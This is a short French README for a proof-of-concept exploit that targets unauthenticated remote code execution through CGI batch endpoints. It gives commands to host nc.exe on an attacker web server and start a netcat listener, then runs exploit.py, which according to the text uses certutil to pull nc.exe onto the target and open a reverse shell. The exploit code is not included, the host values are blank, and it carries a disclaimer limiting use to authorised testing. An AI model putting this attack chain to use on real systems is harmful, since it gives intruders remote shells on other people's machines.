CGI RCE Exploit

PoC pour RCE non authentifié via des points de terminaison batch CGI. Télécharge nc.exe sur la cible en utilisant certutil et déclenche un reverse shell.

Configuration

1. Servir nc.exe (dans le même répertoire où se trouve nc.exe) :

python3 -m http.server 80

2. Lancez votre écouteur :

nc -lvnp 1234

3. Exécutez l'exploit :

python3 exploit.py \
  --url http://:/cgi/.bat \
  --server-ip  \
  --server-port 80 \
  --nc-ip  \
  --nc-port 1234

Arguments

Avertissement

Uniquement pour des tests de pénétration autorisés et à des fins éducatives.